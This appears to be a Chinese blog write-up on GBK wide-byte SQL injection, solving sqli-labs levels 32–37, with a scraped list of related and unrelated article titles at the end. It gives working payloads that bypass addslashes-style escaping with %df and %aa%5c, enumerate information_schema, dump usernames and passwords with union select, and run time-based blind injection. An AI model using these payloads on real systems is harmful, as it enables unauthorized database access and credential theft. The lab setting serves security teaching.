补充知识:宽字节注入

定义:GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符

原理GBK注射宽字节注入

 

在使用PHP连接MySQL的时候,当设置“set  character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉,举个例子。

 

 

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

当提交id=1' and 1=1%23时,

MySQL的运行的SQL语句为

 

select * from user where  id ='1\' and 1=1#'

1

很明显这是没有注入成功的,而当我们提交

 

id=1%df' and 1=1%23

1

MySQL的运行的SQL语句为

 

select * from user where id ='1運' and 1=1#'

1

我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

 

原文链接:https://blog.csdn.net/heiseweiye/article/details/82723478

宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

原文链接:https://blog.csdn.net/helloc0de/article/details/76180190

 

推荐解码网站:http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

 

Less_32

输入: ?Id=1  回显正常;

方法一:

输入:?id=1'  回显正常,但发现单引号被转义了;

输入:?Id=1%df’     回显错误,出现报错;

输入: ?Id=1%df%27’  同样回显错误,出现报错;

输入:?Id=1%df’ --+  回显正常;

输入:?id=1%df' order by 3/4--+   查询到有多少列;

输入:?id=-1%df' union select 1,2,3 --+   查看回显位置;

接下来操作和less1基本一致。

方法二:

%5c代表\       只要是我们能将返回的结果中对于单引号没有转义字符进行处理即可;

就是将字母组合让他形成一个宽字节  %aa%5c (其中aa可以替换为其他)

输入:?id=-1 %aa%5c' union select 1,2,3 --+  可以查看回显位置;

后面操作和less1基本一致。

Less_33

输入: ?Id=1’   回显正常,但发现单引号被转义了;

同第32关相同,我们可以使用宽字节注入的方法;

方法一:宽字节注入

输入 ?id=1%df' --+  回显正常;

输入?id=1%df' order by 3/4 --+ 可查看有多少列;

输入?id=-1%df' union select 1,2,3 --+ 可查看回显位置;

其他操作和less1基本一致。

方法二:自定义闭合

输入?id=-1 %aa%5c%27 union select 1,2,3--+  回显正常;

其他操作和less1基本一致。

Less_34

首先我们查询admin密码:

使用admin 111111 进行登录,登录成功;

使用admin admin进行登录,登陆失败;

查看源码:

可知本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码);

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à �’

方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

方法一:

在POST中传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字

方法二:

输入   a%df’   a%df’

进行抓包:

我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可

Less_35

查看源代码得知第35关没有包裹;

方法一:联合查询

输入:  ?id=-1 union select 1,2,3--+  得到显示位置;

剩下步骤和less1基本一致。

查库:?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

查表:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查字段:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查字段中的值:?id=-1 union select 1,2,group_concat(concat('~',username,password)) from security.users--+

方法二:使用时间盲注

输入:?id=1 and if(length(database())=1,1,sleep(5)  ),发现延时;

接下来操作与其他时间盲注操作基本一致。

Less_36

查看源码得知第36关使用‘’包裹,且使用下面函数;

输入?id=1’ 回显正常,但’被转义;

使用宽字节注入

输入:?id=-1%df' union select 1,2,3 --+  得到回显位置;

输入: ?id=-1%df' union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+ 查表;

输入: ?id=-1%df’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+ 得到字段的值;

其他操作与less1基本一致。

Less_37

使用admin 111111登陆成功;

使用admin admin,登陆失败;

可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à �' ;

方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入。

方法一:

在POST中传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字

方法二:

输入   a%df’   a%df’

进行抓包:

我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可

sqli-libs(32-37(宽字节注入)关)的更多相关文章

  1. MYSQL注入天书之宽字节注入

    Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解 ...

  2. 【sqli-labs】 对于less34 less36的宽字节注入的一点深入

    1.AddSlashes() 首先来观察一下是如何通过构造吃掉转义字符的 先将less 34的网页编码换成gbk 加上一些输出 echo "Before addslashes(): &quo ...

  3. 74cms_3.5.1 宽字节注入

    第一次进行CMS的代码审计,我选择了2014年发布的74CMS 3.5.1,历史比较久远的CMS往往存在更多的问题,虽然技术上难度不大,但是在思路方面给了我很大的启发.下面我根据我的思路给大家分享一下 ...

  4. sqli-labs(十四)(宽字节注入)

    数据库使用gbk编码的时候,会将两个字符合并成一个中文. 写在前面吧,对php的代码审计也会有帮助 直接使用 set character_set_client=gbk 或者是常见的mysql_quer ...

  5. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

  6. sqli-labs less32-37(宽字节注入)

    less-32 Bypass addslashes() less-33 Bypass addslashes() less-34 Bypass Add SLASHES less-35 addslashe ...

  7. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  9. Mysql宽字节注入(转)

    尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...

随机推荐

  1. vlan划分、本征vlan配置、中继

    命令部分: vlan划分(全局模式) vlan name v10 no shu no shu switchport access vlan vlan name v20 inter vlan no sh ...

  2. 表结构修改以及sql增删改查

    修改表结构 修改表名 alter table 表名 rename 新名 增加字段 alter table 表名 add 字段名 数据类型 约束 删除字段 alter table 表名 drop 字段名 ...

  3. python之路正则表达式

    元字符 蓝色框中有非贪婪模式也不起作用,非贪婪模式在+后加上?号 有空字符串

  4. batch_idx作用

    batch_idx作用 待办 batch_idx * len(data) 这里的batch_idx 就是数组分组之后的组号,len(data)就是每组的数据量,这个式子表示的就是总共已经训练的数据总数 ...

  5. 问题解决:局域网内,为啥别人ping不到我的IP

    试着在本地搭建一个测试环境,成功后却发现同一局域网的同事根本访问不了,他们ping不到我的IP,这可咋整! 询问度娘后,我的问题得到了,以下是我的总结,如果解决不了你的问题,还请继续百度. 方法一:关 ...

  6. Ubuntu18.04 一条命令安装caffe问题

    由于caffe安装坑很多,而且caffe框架很久不更新了,微调对框架影响不大,所以对与ubuntu18.04在caffe官网提供了一条命令安装,避免很多踩坑痛苦. CPU的一条命令安装: sudo a ...

  7. Apache 安装概要

    1.apache下载参照百度 bin文件夹下命令行:  httpd -k install 2.安装完成后排错记录 服务无法启动,到bin目录下运行  httpd.exe  查看输出,然后百度一下输出即 ...

  8. ORA_12514:TNS:listener does not currently know of service requested in connect descriptor

    问题描述 ORA_12514:TNS:listener does not currently know of service requested in connect descriptor 解决方式 ...

  9. POJ 1330(LCA/倍增法模板)

    链接:http://poj.org/problem?id=1330 题意:q次询问求两个点u,v的LCA 思路:LCA模板题,首先找一下树的根,然后dfs预处理求LCA(u,v) AC代码: #inc ...

  10. 刷题75. Sort Colors

    一.题目说明 题目75. Sort Colors,给定n个整数的列表(0代表red,1代表white,2代表blue),排序实现相同颜色在一起.难度是Medium. 二.我的解答 这个是一个排序,还是 ...